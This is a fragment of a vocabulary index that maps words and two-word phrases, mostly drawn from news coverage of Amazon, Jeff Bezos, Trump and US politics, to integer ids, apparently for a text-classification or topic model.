"greek refugee": 172080, "bridewater associates": 172081, "consumer group": 172082, "company subsidies": 172083, "pro trump": 172084, "sources images": 172085, "timeless": 172086, "power reporter": 172087, "addiction brian": 172088, "agencies": 172089, "dietsch pool": 172090, "change mass": 172091, "killing jobs": 172092, "bezos certainly": 172093, "current increase": 172094, "fact wsj": 172095, "lifestyles freedoms": 172096, "karenia": 172097, "new draft": 172098, "predictable life": 172099, "bezos hires": 172100, "level domain": 172101, "paper reported": 172102, "president tracks": 172103, "lampert mnuchin": 172104, "ideology resonate": 172105, "overcome challenges": 172106, "apple including": 172107, "division decision": 172108, "consumption problems": 172109, "children held": 172110, "foto sourceflickr": 172111, "thing amazon": 172112, "renegotiated contracts": 172113, "godzilla": 172114, "amending": 172115, "took office": 172116, "times apple": 172117, "laura rosenberger": 172118, "khan wouldn": 172119, "abercrombie fitch": 172120, "sanders amazon": 172121, "netflix mother": 172122, "limit chinese": 172123, "moment ibama": 172124, "people raises": 172125, "anticonservative": 172126, "public cnn": 172127, "haunted": 172128, "baseless claims": 172129, "ceo dennis": 172130, "postto": 172131, "crap": 172132, "amazon scam": 172133, "devout wife": 172134, "mockumentary web": 172135, "precipitation": 172136, "1990s long": 172137, "easily frustrated": 172138, "company planning": 172139, "israeli sovereignty": 172140, "2019 member": 172141, "paced talks": 172142, "sellers account": 172143, "service universal": 172144, "experiences cold": 172145, "high long": 172146, "president request": 172147, "customercare sockslane": 172148, "technical capabilities": 172149, "cicilline previewed": 172150, "nervous mean": 172151, "phones realme": 172152, "bolsonaro regime": 172153, "chef awards": 172154, "pentagon procurement": 172155, "859 billion": 172156, "noughts classic": 172157, "suzanne park": 172158, "public battles": 172159, "reason folks": 172160, "editorial plusmediasolutions": 172161, "amazon brands": 172162, "454 065": 172163, "writes false": 172164, "party brands": 172165, "infinity pool": 172166, "scenes lobbying": 172167, "recently seeded": 172168, "logjams": 172169, "jobs anymore": 172170, "green job": 172171, "liz krueger": 172172, "government nutrition": 172173, "church tracks": 172174, "taxvox opportunity": 172175, "past spring": 172176, "deliveries olaoluwa": 172177, "psychologists": 172178, "year forward": 172179, "official says": 172180, "wray fsg": 172181, "children eat": 172182, "inland empire": 172183, "startups rely": 172184, "irish company": 172185, "suspends trading": 172186, "swamp despite": 172187, "grift": 172188, "office losing": 172189, "charge does": 172190, "offering versions": 172191, "house potential": 172192, "slow process": 172193, "795 words": 172194, "posts spreadsheet": 172195, "including stock": 172196, "contagion": 172197, "2018 2022": 172198, "server719392": 172199, "isn favorite": 172200, "uncensored": 172201, "porowski tan": 172202, "wholefoods": 172203, "bezos adding": 172204, "anup": 172205, "expect little": 172206, "embody": 172207, "error granted": 172208, "014": 172209, "site facebook": 172210, "bowlers": 172211, "rare display": 172212, "margrethe vestager": 172213, "republican opposition": 172214, "asset light": 172215, "settlement talks": 172216, "benjy": 172217, "ft worth": 172218, "ford sounds": 172219, "complex burdens": 172220, "boxer floyd": 172221, "constine techcrunch": 172222, "validity": 172223, "construction industry": 172224, "maxinewaters accounts": 172225, "secret cloud": 172226, "insights delivered": 172227, "pricing priority": 172228, "operating montessori": 172229, "disdains": 172230, "persian gulf": 172231, "stocks lower": 172232, "weeklong": 172233, "wind turbines": 172234, "amazon biome": 172235, "profanity": 172236, "maniac": 172237, "american republic": 172238, "usps commerce": 172239, "owns stake": 172240, "weekly appearance": 172241, "balmoral": 172242, "overall budget": 172243, "reform party": 172244, "department shows": 172245, "meddling amazon": 172246, "wove safety": 172247, "bezos pictures": 172248, "correcting": 172249, "videodescriptiondivid": 172250, "kid started": 172251, "symbol googl": 172252, "products starting": 172253, "getting fucked": 172254, "usps current": 172255, "ass cop": 172256, "ecology isolationist": 172257, "publishing industry": 172258, "millions today": 172259, "football leagues": 172260, "online consumer": 172261, "summit trump": 172262, "berlin posthumous": 172263, "page according": 172264, "uk gathered": 172265, "business selling": 172266, "blame aoc": 172267, "telecom equipment": 172268, "tall": 172269, "hanna": 172270, "xn6mklcqow0": 172271, "2017 writes": 172272, "louisiana church": 172273, "trump renewed": 172274, "charlotte": 172275, "deadly blazes": 172276, "family beautiful": 172277, "buying goods": 172278, "environmental impacts": 172279, "smart enemies": 172280, "mackenzie grateful": 172281, "reported hasn": 172282, "expenses rose": 172283, "governments producers": 172284, "proposed business": 172285, "reporters attack": 172286, "freaky": 172287, "policy limiting": 172288, "film projects": 172289, "wrong couple": 172290, "wayfair nyse": 172291, "special sensors": 172292, "charity world": 172293, "window window": 172294, "friends node": 172295, "monthly look": 172296, "smothering": 172297, "success trump": 172298, "facing immune": 172299, "electric switches": 172300, "old usual": 172301, "wage job": 172302, "strategic options": 172303, "include pixel": 172304, "trimming": 172305, "colorful": 172306, "app developers": 172307, "lrspbwmvbn good": 172308, "pat": 172309, "post critical": 172310, "violating 2011": 172311, "deep look": 172312, "communication took": 172313, "f6": 172314, "auto jobs": 172315, "age story": 172316, "administration accused": 172317, "cl\u00f3vis rossi": 172318, "panel cybersecurity": 172319, "death squad": 172320, "lives activist": 172321, "law visit": 172322, "surpass 100": 172323, "collection authority": 172324, "allow widespread": 172325, "story border": 172326, "parents disagree": 172327, "sacred lands": 172328, "amazon play": 172329, "registration strategy": 172330, "vale dam": 172331, "american national": 172332, "business fox": 172333, "hp_listb_pos2": 172334, "smith took": 172335, "tax obligations": 172336, "donnell know": 172337, "considered include": 172338, "summer browbeating": 172339, "sleepless": 172340, "westminster": 172341, "mills assume": 172342, "lily": 172343, "won provide": 172344, "nicosia": 172345, "brings gratitude": 172346, "flotus tensions": 172347, "relative": 172348, "monthly fee": 172349, "career staff": 172350, "mitigate concerns": 172351, "wag dog": 172352, "terrible horrible": 172353, "massive": 172354, "car using": 172355, "poll survey": 172356, "ceo think": 172357, "accused legitimate": 172358, "ashtyn": 172359, "bezos dominated": 172360, "completely fund": 172361, "amit shah": 172362, "enforce iran": 172363, "months denouncing": 172364, "total fourth": 172365, "conspiratorial understanding": 172366, "ordered spicer": 172367, "say want": 172368, "year hawaiians": 172369, "autonomous weapons": 172370, "florida school": 172371, "npr amazon": 172372, "museum public": 172373, "times claiming": 172374, "market discipline": 172375, "acbff 0305": 172376, "manufacture": 172377, "entity entirely": 172378, "chief international": 172379, "weekend reads": 172380, "gary labarbera": 172381, "figure according": 172382, "rebuked sanders": 172383, "mohamed": 172384, "67x respectively": 172385, "presents challenge": 172386, "350 points": 172387, "picoult check": 172388, "material cnn": 172389, "______ scott": 172390, "zinke donor": 172391, "author austin": 172392, "beast carter": 172393, "conference press": 172394, "security matters": 172395, "counter argument": 172396, "amazon indiana": 172397, "deal americans": 172398, "court intrigue": 172399, "institutional investors": 172400, "peele": 172401, "generate new": 172402, "eat laundry": 172403, "brazil amazon": 172404, "fencing": 172405, "divorce month": 172406, "blowup": 172407, "employees happened": 172408, "story vandal": 172409, "newark raleigh": 172410, "business included": 172411, "rummage": 172412, "hasn directly": 172413, "morning futures": 172414, "postage printing": 172415, "massive surge": 172416, "kept pace": 172417, "trump tries": 172418, "nickname jeff": 172419, "industrials struggled": 172420, "dinghy": 172421, "rival livingsocial": 172422, "newspaper adidas": 172423, "company holds": 172424, "368 shares": 172425, "autofiction": 172426, "staff criticising": 172427, "cortez tweeted": 172428, "hog stomach": 172429, "executives rejected": 172430, "argue jeff": 172431, "stop moping": 172432, "tv xbox": 172433, "karp": 172434, "old woman": 172435, "growing caravan": 172436, "donna shalala": 172437, "environment health": 172438, "debt held": 172439, "lightweight service": 172440, "porsche": 172441, "health superbugs": 172442, "powell jobs": 172443, "hewitt": 172444, "outright calls": 172445, "throat": 172446, "probably doubly": 172447, "baseless claim": 172448, "immunity attaches": 172449, "tarmac": 172450, "preston bezos": 172451, "assuage": 172452, "striking contrast": 172453, "dumber": 172454, "coffee culture": 172455, "amazon ditched": 172456, "old people": 172457, "aerospace manufacturer": 172458, "government bloomberg": 172459, "smallest chains": 172460, "individual analyst": 172461, "questions challenge": 172462, "licensing technologies": 172463, "having problems": 172464, "merchants sell": 172465, "make ace": 172466, "dagger": 172467, "just finished": 172468, "lawyer work": 172469, "remember luminaid": 172470, "noted doj": 172471, "shuang told": 172472, "abiding citizens": 172473, "program praised": 172474, "just congestion": 172475, "amazon wishlist": 172476, "324 million": 172477, "runways": 172478, "cuomo whining": 172479, "b2c commerce": 172480, "successful screen": 172481, "power worldwide": 172482, "merchant banking": 172483, "affirmatively publicize": 172484, "hallows": 172485, "shares": 172486, "release ratings": 172487, "political appointee": 172488, "environmental world": 172489, "enquirer": 172490, "denied playing": 172491, "experts explain": 172492, "office operations": 172493, "indecent working": 172494, "bloomberg efforts": 172495, "writes stephen": 172496, "actually apply": 172497, "institution oesn": 172498, "concerns rise": 172499, "heeds bernie": 172500, "includes different": 172501, "help candidate": 172502, "nutritional supplements": 172503, "137 ct": 172504, "fight backstill": 172505, "brazilian interests": 172506, "just months": 172507, "city resident": 172508, "bowl amazon": 172509, "awesome questions": 172510, "samhomewood": 172511, "finish bought": 172512, "lago employee": 172513, "mutual funds": 172514, "raids conducted": 172515, "standards wildlife": 172516, "saying listen": 172517, "catchment": 172518, "heat rising": 172519, "bankshares usa": 172520, "pentagon approach": 172521, "hurt freight": 172522, "operate fleet": 172523, "mccain reaction": 172524, "china undercut": 172525, "tenfold": 172526, "iww": 172527, "quite battering": 172528, "presidential memorandum": 172529, "whatsapp": 172530, "safehaven": 172531, "shocking blog": 172532, "downzone parts": 172533, "businesses sold": 172534, "jolley whistleblower": 172535, "worth asking": 172536, "selling trump": 172537, "oversight pogo": 172538, "shaking": 172539, "day earlier": 172540, "middle finger": 172541, "fucking world": 172542, "pasquale professor": 172543, "nathanson": 172544, "told ibd": 172545, "pipeline capacity": 172546, "schiff added": 172547, "peddling propaganda": 172548, "ruralist tereza": 172549, "package volume": 172550, "music entertainment": 172551, "function r4ee": 172552, "experts expect": 172553, "stronghold": 172554, "regarding electronic": 172555, "army pilots": 172556, "872": 172557, "remodel gary": 172558, "launch film": 172559, "1b": 172560, "broward voters": 172561, "subsidization encountered": 172562, "cnn reported": 172563, "pending": 172564, "calmed wall": 172565, "openly": 172566, "better movie": 172567, "hilfiger": 172568, "sees possibility": 172569, "global heating": 172570, "sell shirts": 172571, "twitter calling": 172572, "appellate court": 172573, "samad": 172574, "putting traditional": 172575, "acquiring flipkarts": 172576, "fueling speculation": 172577, "refugee ban": 172578, "pac": 172579, "illegal immigration": 172580, "managerial bandwidth": 172581, "structure capabilities": 172582, "marley": 172583, "morning html": 172584, "schweitzer told": 172585, "included washington": 172586, "immense press": 172587, "palantir founded": 172588, "rickards": 172589, "china wrote": 172590, "653": 172591, "snapchat stories": 172592, "martel set": 172593, "sixth worth": 172594, "zappos amazon": 172595, "eardrums": 172596, "playbook news": 172597, "organization going": 172598, "say analysts": 172599, "enable students": 172600, "null gc_custom_credit": 172601, "bespoke suits": 172602, "overhead": 172603, "post alleged": 172604, "mika case": 172605, "income memo": 172606, "house east": 172607, "financing exception": 172608, "critic meg": 172609, "100 legal": 172610, "revise budget": 172611, "potentially big": 172612, "future battle": 172613, "revenue collaborating": 172614, "republican nationalist": 172615, "recoverable ice": 172616, "post republican": 172617, "big revelation": 172618, "ambassadors": 172619, "optimization": 172620, "science women": 172621, "losing momentum": 172622, "presidency written": 172623, "bezos want": 172624, "described miller": 172625, "major soy": 172626, "bs_link": 172627, "right gulftimes": 172628, "broadway": 172629, "goodfellas": 172630, "1028et copyright": 172631, "style icon": 172632, "leave facebook": 172633, "trump decried": 172634, "wayfair justice": 172635, "grassroots": 172636, "amafozz headquarters": 172637, "friendships": 172638, "myrtle lewis": 172639, "better search": 172640, "legislation demonstrates": 172641, "urgent": 172642, "insolvency trump": 172643, "exxonmobil": 172644, "sponsoring local": 172645, "deborah": 172646, "federal deficits": 172647, "center health": 172648, "billion convenience": 172649, "lobby urged": 172650, "organization asked": 172651, "nicknamed": 172652, "media wants": 172653, "food companies": 172654, "negotiating process": 172655, "board immediately": 172656, "cloud investors": 172657, "sucr\u00e9": 172658, "introduced": 172659, "fokyrqfyl5": 172660, "morici monopoly": 172661, "company posted": 172662, "intensity": 172663, "celeb": 172664, "free amazon": 172665, "potential": 172666, "580": 172667, "city node": 172668, "agenda cnn": 172669, "making airborne": 172670, "digital competition": 172671, "branson": 172672, "unit investment": 172673, "day 2018": 172674, "primary port": 172675, "backstabbing disaster": 172676, "story recounted": 172677, "curtail major": 172678, "ratesal jazeera": 172679, "apple market": 172680, "parliamentary": 172681, "hockey team": 172682, "economy ellison": 172683, "analysts concede": 172684, "huma": 172685, "ftse": 172686, "shyam patil": 172687, "noisy": 172688, "deputy tereza": 172689, "jose antonio": 172690, "commission hate": 172691, "defiance press": 172692, "wage writes": 172693, "ranting today": 172694, "cena": 172695, "modern middle": 172696, "campaigning style": 172697, "online offerings": 172698, "actually details": 172699, "weren explicitly": 172700, "company tsxv": 172701, "projecting earnings": 172702, "city read": 172703, "sea john": 172704, "reported 136": 172705, "carjacker": 172706, "people downloaded": 172707, "rural commerce": 172708, "lobbied": 172709, "bulldozed": 172710, "ceos rallying": 172711, "know king": 172712, "congregate": 172713, "goggin reports": 172714, "watch looking": 172715, "dyslexia": 172716, "president doesn": 172717, "imported vehicles": 172718, "news tech": 172719, "trump dogged": 172720, "deutch member": 172721, "asking postmaster": 172722, "story tax": 172723, "flier asks": 172724, "handmade": 172725, "customers access": 172726, "suicidal": 172727, "internet challenge": 172728, "states sale": 172729, "ages ago": 172730, "privacy law": 172731, "prime truck": 172732, "new drivers": 172733, "lower guidance": 172734, "kaplan calls": 172735, "mst": 172736, "balance action": 172737, "washington distributed": 172738, "queens pearlstein": 172739, "cultural marketing": 172740, "shaven": 172741, "worrisome": 172742, "los personas": 172743, "microscope president": 172744, "work immediately": 172745, "investigations moving": 172746, "nasdaq csco": 172747, "counterfeit": 172748, "salles claimed": 172749, "bezos pose": 172750, "boundaries bit": 172751, "national value": 172752, "widely read": 172753, "quiet republicans": 172754, "capture nearly": 172755, "standing ally": 172756, "attack shares": 172757, "sessions socialist": 172758, "employee activists": 172759, "psc board": 172760, "2020 bernie": 172761, "helping homeless": 172762, "democratic nomination": 172763, "harington": 172764, "toll taken": 172765, "market value": 172766, "customers say": 172767, "amazon canceling": 172768, "unintentionally": 172769, "trends unfold": 172770, "certificate stole": 172771, "buy minor": 172772, "sawamazon": 172773, "story mentions": 172774, "public distrust": 172775, "revenue outlook": 172776, "asymmetric information": 172777, "reduced rate": 172778, "negotiated rate": 172779, "ebooks": 172780, "russians detailing": 172781, "amazon": 172782, "following bezos": 172783, "security challenges": 172784, "billionaire announced": 172785, "amazon rx": 172786, "iphone design": 172787, "congressional opponent": 172788, "secrets bipartisan": 172789, "grants primarily": 172790, "amazon newyork": 172791, "pivotal moment": 172792, "dangling tax": 172793, "post liberal": 172794, "women walked": 172795, "treasured freedoms": 172796, "oracle": 172797, "initial list": 172798, "impersonal": 172799, "includes using": 172800, "lavish incentives": 172801, "corporate disclosures": 172802, "trading firm": 172803, "cartel": 172804, "way drugs": 172805, "little disappointing": 172806, "attorneys threatened": 172807, "login_standalone": 172808, "chief medical": 172809, "republicans far": 172810, "lipton nightly": 172811, "bezos knows": 172812, "service customer": 172813, "trump carried": 172814, "stephen braun": 172815, "tips comments": 172816, "family led": 172817, "water racked": 172818, "offers": 172819, "offset sanaa": 172820, "summer job": 172821, "just maybe": 172822, "friendly place": 172823, "extremely competitive": 172824, "legitimatized": 172825, "funded cronyism": 172826, "miguel angel": 172827, "biased whatsoever": 172828, "amazon comfort": 172829, "usatoda trump": 172830, "boosting pay": 172831, "indians parameswaran": 172832, "activity north": 172833, "financially strapped": 172834, "immigrant surveillance": 172835, "particular postal": 172836, "lumish": 172837, "winfrey endorsed": 172838, "tweets general": 172839, "living party": 172840, "persistent criticisms": 172841, "line procuring": 172842, "maybe trading": 172843, "influencing elections": 172844, "date firm": 172845, "clip president": 172846, "extreme views": 172847, "shares wright": 172848, "kindle revenue": 172849, "service fedex": 172850, "don exceed": 172851, "nomadland": 172852, "diana dwyre": 172853, "include limiting": 172854, "government penchant": 172855, "penguin books": 172856, "amazon cinder": 172857, "kids source": 172858, "brand perfumania": 172859, "bezos criticised": 172860, "renowned epidemiologist": 172861, "neutrality rules": 172862, "origin space": 172863, "day build": 172864, "economic footprint": 172865, "devastating murder": 172866, "local footprint": 172867, "zuker reading": 172868, "citing draft": 172869, "held accountable": 172870, "player option": 172871, "america subsidiary": 172872, "president dick": 172873, "startup costs": 172874, "zone tales": 172875, "department added": 172876, "john pletz": 172877, "conjugally": 172878, "far outweighs": 172879, "millennials don": 172880, "klean strip": 172881, "mysterious pro": 172882, "ted anthony": 172883, "yuge": 172884, "bloomberg tim": 172885, "identities including": 172886, "video embedded": 172887, "career site": 172888, "scholar lina": 172889, "new employees": 172890, "investor steven": 172891, "681": 172892, "post nypost": 172893, "indirectly good": 172894, "really accelerated": 172895, "philadelphia cash": 172896, "gain following": 172897, "portfolio making": 172898, "inside stock": 172899, "house hedgerow": 172900, "4bn": 172901, "2017 james": 172902, "grace commission": 172903, "today announced": 172904, "goldmacher": 172905, "pounce": 172906, "krasinski takes": 172907, "noah": 172908, "anna omelchenko": 172909, "immigration shifts": 172910, "oates": 172911, "sydney wade": 172912, "food stamp": 172913, "workers draw": 172914, "titans round": 172915, "afternoon following": 172916, "tabloid ending": 172917, "blasio spec": 172918, "slammed bezos": 172919, "service arguing": 172920, "tony pulling": 172921, "9th spot": 172922, "global production": 172923, "amzn shares": 172924, "trump videocmsurl": 172925, "complaints including": 172926, "great entry": 172927, "amazonbasics label": 172928, "gannett jon": 172929, "yes norah": 172930, "seng drop": 172931, "straddle middle": 172932, "emergency motion": 172933, "prioritizing industry": 172934, "expressway": 172935, "twitter recently": 172936, "restore party": 172937, "hurt america": 172938, "institutionally": 172939, "nicely trump": 172940, "pursue amazon": 172941, "field narrowed": 172942, "neoliberalism climate": 172943, "landowners": 172944, "chairman mark": 172945, "banks nonprofits": 172946, "jocelyn wildenstein18": 172947, "given away": 172948, "drivers entering": 172949, "police cool": 172950, "steady stream": 172951, "graduation goals": 172952, "1833": 172953, "sandra lee": 172954, "government support": 172955, "map tracking": 172956, "day life": 172957, "contrarian investor": 172958, "inhouse": 172959, "gmt alex": 172960, "quarterly numbers": 172961, "menswear line": 172962, "mark viverito": 172963, "charles": 172964, "successful postal": 172965, "blockchain remains": 172966, "grade 2018": 172967, "smarsh traces": 172968, "post declined": 172969, "roughly half": 172970, "law defines": 172971, "videocardcontents descriptiontext": 172972, "trail spurred": 172973, "commission luminaid": 172974, "representatives passed": 172975, "nonpartisan pew": 172976, "enormous numbers": 172977, "enquirer committed": 172978, "washington milestone": 172979, "multiple daily": 172980, "filed accusations": 172981, "reality lgbtq": 172982, "tax shelters": 172983, "j8i h0": 172984, "track household": 172985, "edition blue": 172986, "epa trump": 172987, "readers flocking": 172988, "closure": 172989, "addicting": 172990, "otr received": 172991, "revenue operating": 172992, "hosed": 172993, "korean war": 172994, "american company": 172995, "ship pharmaceuticals": 172996, "cost outlook": 172997, "private collection": 172998, "430 amazon": 172999, "shops": 173000, "cassandra": 173001, "fattened": 173002, "bowl pretty": 173003, "essential matter": 173004, "kissed": 173005, "getty amzn": 173006, "seeing kb4134660": 173007, "touch magazines": 173008, "private employer": 173009, "truth fable": 173010, "predatory": 173011, "built suite": 173012, "forging solutions": 173013, "differently amazon": 173014, "quietly shared": 173015, "real wake": 173016, "entire farm": 173017, "acosta cnn": 173018, "dollar project": 173019, "owners directors": 173020, "jyyhycx1xb cristian": 173021, "paid mair": 173022, "pillpak": 173023, "know van": 173024, "board john": 173025, "telecoms privatisation": 173026, "amazon engineers": 173027, "alaska": 173028, "gun shy": 173029, "noticing": 173030, "round wouldn": 173031, "workforce breitbart": 173032, "casino": 173033, "13scvcpele uwu": 173034, "china advance": 173035, "tendentious trump": 173036, "businesses justice": 173037, "deborah treisman": 173038, "unnatural voices": 173039, "trump accusation": 173040, "offered exclusive": 173041, "mark dimondstein": 173042, "hanoi meeting": 173043, "setting steeped": 173044, "videopinner embedcodecopy": 173045, "throwing enormous": 173046, "page bezos": 173047, "headline ivanka": 173048, "relationship seth": 173049, "michael phillips": 173050, "spenders according": 173051, "delivery company": 173052, "covucci": 173053, "herschel": 173054, "eftist": 173055, "kathleen rice": 173056, "money policy": 173057, "combat falsification": 173058, "book unhinged": 173059, "ellisonthe memo": 173060, "swastika pendant": 173061, "crony trillion": 173062, "company weren": 173063, "tabloid business": 173064, "cited reports": 173065, "center charged": 173066, "make women": 173067, "big tough": 173068, "ahead regardless": 173069, "quote critics": 173070, "fear horror": 173071, "whately devout": 173072, "home medium": 173073, "freight rates": 173074, "indianapolis star": 173075, "store digital": 173076, "intimate dinner": 173077, "actually hurt": 173078, "swan spoke": 173079, "dhruv": 173080, "close midterm": 173081, "investigation totally": 173082, "facebook malfeasance": 173083, "legal": 173084, "rally shares": 173085, "avoid highlighting": 173086, "realign authorities": 173087, "hollywood sweeping": 173088, "amazon donald": 173089, "new earth": 173090, "reback told": 173091, "suppresses appetite": 173092, "launch site": 173093, "wisecracked": 173094, "smell test": 173095, "queens district": 173096, "bezos profits": 173097, "outside amazon": 173098, "different unsavory": 173099, "rockaway soundview": 173100, "active role": 173101, "orlando threatens": 173102, "semi upright": 173103, "ta nehisi": 173104, "pass consumers": 173105, "murdered nearly": 173106, "real plan": 173107, "giant tracks": 173108, "registered officially": 173109, "motive promoting": 173110, "secretary shock": 173111, "truly mind": 173112, "elusive": 173113, "switch c5q": 173114, "fine levied": 173115, "device online": 173116, "nutrition policy": 173117, "defiant trump": 173118, "threatening amazon": 173119, "activities 2019": 173120, "cities exemption": 173121, "facto lobby": 173122, "ygdjhk": 173123, "recorded couple": 173124, "davidson stock": 173125, "corrupt administration": 173126, "americans workers": 173127, "warsaw poland": 173128, "junior": 173129, "new election": 173130, "won recognize": 173131, "ideologies": 173132, "cellular service": 173133, "interviewed trump": 173134, "retail industry": 173135, "tariff kicks": 173136, "heels": 173137, "seizes": 173138, "withdrawing affordable": 173139, "launching program": 173140, "replacing kelly": 173141, "tv president": 173142, "sears railroad": 173143, "default primarily": 173144, "heavy investment": 173145, "post prints": 173146, "think giant": 173147, "article editorializes": 173148, "letter filed": 173149, "way thank": 173150, "serves": 173151, "net deferred": 173152, "named goblin": 173153, "khan new": 173154, "debt martha": 173155, "newer": 173156, "e4e": 173157, "policy argument": 173158, "says wonderful": 173159, "new classic": 173160, "saying things": 173161, "fundamentalist": 173162, "profound impact": 173163, "great idea": 173164, "politics according": 173165, "legal grounds": 173166, "forums 4chan": 173167, "1q18 amazon": 173168, "deactivated": 173169, "paris climate": 173170, "ciara": 173171, "bonus pay": 173172, "expert rob": 173173, "bullied amazon": 173174, "ass whooping": 173175, "enquirer magazine": 173176, "fell late": 173177, "shares tci": 173178, "za m4": 173179, "ears hear": 173180, "likewise thank": 173181, "228608 inc_homepage_headline": 173182, "tailer gathers": 173183, "critics lined": 173184, "conceptual apparatus": 173185, "bookstore": 173186, "pennsylvania accounting": 173187, "circuiting creative": 173188, "effects rising": 173189, "factually": 173190, "futile war": 173191, "amazon mutually": 173192, "twitter shortly": 173193, "recent exposure": 173194, "wrong reasons": 173195, "employ committee": 173196, "wa t5": 173197, "451": 173198, "challenges facing": 173199, "champion jeff": 173200, "american memoir": 173201, "taxes artificial": 173202, "included shocking": 173203, "market scorecard": 173204, "mae freddie": 173205, "assemblyman ron": 173206, "brookings nearly": 173207, "stranger": 173208, "american competitors": 173209, "mueller states": 173210, "affiliate cnn": 173211, "contest 1542140927": 173212, "giant warned": 173213, "cabinet member": 173214, "potential wrongdoing": 173215, "network anchor": 173216, "nicole ozer": 173217, "walking tour": 173218, "subject": 173219, "permos_as": 173220, "immediately agree": 173221, "hersfeld germany": 173222, "owed": 173223, "fund amazon": 173224, "mahlum": 173225, "began quietly": 173226, "labeled amazon": 173227, "house reached": 173228, "house reported": 173229, "post newsroom": 173230, "analysts": 173231, "troops reuters": 173232, "caustic longtime": 173233, "paletas": 173234, "house aides": 173235, "stormare": 173236, "fops fools": 173237, "accordingly expect": 173238, "trade sanctions": 173239, "simply addressing": 173240, "edge jeffrey": 173241, "immigrants forced": 173242, "week announced": 173243, "concluded president": 173244, "trademark counterfeiting": 173245, "insurance social": 173246, "higher start": 173247, "following hilary": 173248, "written warning": 173249, "europeans": 173250, "woman charged": 173251, "donahoe trump": 173252, "litigator james": 173253, "sanders leftists": 173254, "quickly restore": 173255, "tlx": 173256, "company states": 173257, "2017 vestager": 173258, "existing ferry": 173259, "abdicate": 173260, "degrees": 173261, "tries": 173262, "actually supported": 173263, "received mixed": 173264, "new communities": 173265, "959": 173266, "unbridled amazon": 173267, "exception hands": 173268, "nowadays amazon": 173269, "continued higher": 173270, "boom": 173271, "suburbanites getting": 173272, "cromwell": 173273, "unpatriotic journalists": 173274, "veterans mark": 173275, "hilton marco": 173276, "101 mm": 173277, "uncorroborated allegations": 173278, "chua": 173279, "scarcely worth": 173280, "legalized pot": 173281, "pours carbon": 173282, "enquirer responded": 173283, "spook cloud": 173284, "cortez slammed": 173285, "strong fueled": 173286, "desi frantically": 173287, "sh": 173288, "smear conservatives": 173289, "achieve market": 173290, "calculated cost": 173291, "caption amy": 173292, "rubbed": 173293, "citing unnamed": 173294, "longer silenced": 173295, "tougher negotiating": 173296, "princess": 173297, "stock parkside": 173298, "sadrzadeh senior": 173299, "spanning": 173300, "hibs": 173301, "tycoon notes": 173302, "fund tax": 173303, "fares": 173304, "osofsky": 173305, "active owlprevitem": 173306, "notable critic": 173307, "marvel daredevil": 173308, "military tried": 173309, "tourism vehicle": 173310, "inch trees": 173311, "nc 27101": 173312, "veterans peace": 173313, "videourl": 173314, "moats": 173315, "nation called": 173316, "661 shares": 173317, "untrained high": 173318, "current retirement": 173319, "journal citing": 173320, "frequently decrying": 173321, "companies surveil": 173322, "new auto": 173323, "prime dark": 173324, "levine writes": 173325, "fc ambassadors": 173326, "website breitbart": 173327, "mindi walker": 173328, "getnamespacefeature cnn": 173329, "sinema did": 173330, "virtue signaling": 173331, "capitalist comeback": 173332, "bulk corporate": 173333, "given variety": 173334, "tcot": 173335, "containing brake": 173336, "media capital": 173337, "electoral poster": 173338, "pair undercover": 173339, "messages jeff": 173340, "post barb": 173341, "monitors threats": 173342, "bret thanks": 173343, "axios earlier": 173344, "agnes": 173345, "399": 173346, "doing takedown": 173347, "talks 2019": 173348, "virginia offers": 173349, "000 endowment": 173350, "resourceful": 173351, "vertigo sandman": 173352, "tussaud": 173353, "amazon prepare": 173354, "possible insurance": 173355, "recent calls": 173356, "forum 418": 173357, "james beard": 173358, "biggest headlines": 173359, "tax profits": 173360, "generated": 173361, "ended want": 173362, "engagement levels": 173363, "strzok texts": 173364, "initial investigation": 173365, "long haired": 173366, "exhausting working": 173367, "huntington va": 173368, "extensive government": 173369, "announced real": 173370, "kurt schlosser": 173371, "read including": 173372, "logistics footprint": 173373, "launched actions": 173374, "text sizevery": 173375, "offering prime": 173376, "johnny": 173377, "bigquestion": 173378, "criminals amazon": 173379, "starting later": 173380, "kicked things": 173381, "reported mixed": 173382, "allocated funding": 173383, "redraw": 173384, "board began": 173385, "suspended popular": 173386, "called dubious": 173387, "2018when 2010": 173388, "physical storage": 173389, "article mayor": 173390, "began new": 173391, "2020 ioc": 173392, "need customer": 173393, "challenging trends": 173394, "battlefield": 173395, "outpaces stock": 173396, "presents lucrative": 173397, "hill": 173398, "prominent staff": 173399, "ibuy": 173400, "false statement": 173401, "pvt": 173402, "rollicking good": 173403, "accused long": 173404, "reuters chinese": 173405, "ceo jessie": 173406, "book retailer": 173407, "reg": 173408, "semiconductor companies": 173409, "tomorrow presumably": 173410, "wearing qanon": 173411, "restraining single": 173412, "regions reported": 173413, "facebook attracts": 173414, "pressure progressive": 173415, "profit swells": 173416, "charges toll": 173417, "woman yelled": 173418, "conference committee": 173419, "336": 173420, "usa trump": 173421, "global techs": 173422, "massive new": 173423, "marsh girl": 173424, "conquest": 173425, "indoor": 173426, "fandom": 173427, "prescriptions providing": 173428, "rose 214": 173429, "intelligence hearing": 173430, "maritime military": 173431, "murray llp": 173432, "skinnier": 173433, "vaccine studies": 173434, "left unchecked": 173435, "telegraph uk": 173436, "kardashian west": 173437, "wrote trump": 173438, "amazon manages": 173439, "service letter": 173440, "government headed": 173441, "google throws": 173442, "continued downturn": 173443, "sweetheart tax": 173444, "br 163": 173445, "holding powerdrill": 173446, "book shot": 173447, "film teller": 173448, "commentators began": 173449, "squeebles flip": 173450, "brian bye": 173451, "ami sent": 173452, "glinting": 173453, "feminism stereotypes": 173454, "government hands": 173455, "dishonest": 173456, "borrowing rate": 173457, "deere": 173458, "absolutely impossible": 173459, "hq2 reaction": 173460, "called avalara": 173461, "including catch": 173462, "good argument": 173463, "administration backed": 173464, "mafia seeding": 173465, "brustein": 173466, "dave bosse": 173467, "heavy price": 173468, "alphabet employee": 173469, "rates ciecko": 173470, "scalable revenue": 173471, "bloomberg mnuchin": 173472, "believe ami": 173473, "abolish immigration": 173474, "says significant": 173475, "fellow virginians": 173476, "stiglitz benefits": 173477, "deal offering": 173478, "52billion percentage": 173479, "ccn reported": 173480, "really entertained": 173481, "bono": 173482, "department sears": 173483, "running child": 173484, "political ads": 173485, "voluntary agreement": 173486, "easy thing": 173487, "right offthe": 173488, "painstaking petition": 173489, "comparatively": 173490, "worshiping satan": 173491, "shares tax": 173492, "children toys": 173493, "migrant kitchen": 173494, "builders index": 173495, "feud punish": 173496, "played ramsay": 173497, "channel created": 173498, "liquidate large": 173499, "bannon": 173500, "jamieson wrote": 173501, "amazing announcement": 173502, "offline": 173503, "extremely hard": 173504, "stern guest": 173505, "reuters big": 173506, 